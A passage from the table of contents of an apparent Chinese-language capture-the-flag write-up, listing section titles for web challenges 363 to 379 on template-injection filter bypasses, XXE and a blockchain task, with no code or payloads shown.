      3. 1.10.3. web363 单双引号””‘’
      4. 1.10.4. web364 args
      5. 1.10.5. web365 方括号[]
      6. 1.10.6. web366 下划线_
      7. 1.10.7. web367 os
      8. 1.10.8. web368 request
      9. 1.10.9. web369 request
    11. 1.11. XXE
      1. 1.11.1. web373
      2. 1.11.2. web374
      3. 1.11.3. web375
      4. 1.11.4. web376
      5. 1.11.5. web377
      6. 1.11.6. web378
    12. 1.12. 区块链
      1. 1.12.1. web379